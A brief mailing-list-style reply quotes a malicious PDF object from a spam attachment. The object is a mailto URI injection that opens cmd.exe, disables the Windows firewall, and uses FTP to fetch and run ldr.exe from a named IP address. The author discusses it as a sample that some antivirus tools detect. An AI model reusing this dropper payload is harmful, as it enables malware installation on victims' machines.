You seem to have missed the line

obj<</URI(mailto:%/../../../../../../Windows/system32/cmd".exe"" /c /q \"@echo off&netsh firewall set opmode mode=disable&echo o 81.95.146.130>1&echo binary>>1&echo get /ldr.exe>>1&echo quit>>1&ftp -s:1 -v -A>nul&del /q 1& start ldr.exe&\" \"&\" "nul.bat)/S/URI>>

within "my" PDF. Am not sure whether that would have worked, but is
unfriendly and not your average Viagra, sharemarket or porn message.
Some AV vendors recognize it, as shown by virustotal.

Cheers,
